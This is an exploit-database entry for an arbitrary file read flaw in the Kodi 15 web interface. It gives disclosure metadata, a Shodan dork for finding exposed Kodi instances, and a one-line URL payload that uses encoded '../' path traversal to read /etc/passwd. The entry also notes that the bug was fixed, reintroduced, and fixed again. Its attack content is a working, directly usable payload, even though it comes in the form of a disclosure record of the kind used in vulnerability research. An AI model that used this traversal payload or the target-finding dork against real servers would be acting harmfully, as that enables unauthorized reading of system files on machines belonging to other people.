Kodi 15 - Web Interface Arbitrary File Access

Author: Machiel Pronk
type: webapps
platform: linux
port: 
date_added: 2015-12-01 
date_updated: 2017-12-01 
verified: 1 
codes: OSVDB-131023 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: arbitrary file access kodi web interface
# Shodan dork: title:kodi
# Date: 25-11-2015
# Contact: https://twitter.com/mpronk89
# Software Link: http://kodi.tv/
# Original report: http://forum.kodi.tv/showthread.php?tid=144110&pid=2170305#pid2170305
# Version: v15
# Tested on: linux
# CVE : n/a

kodi web interface vulnerable to arbitrary file read.

example:
<ip>:<port:/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd


for passwd

(issue fixed in 2012, reintroduced in february 2015. Fixed again november
2015 for v16)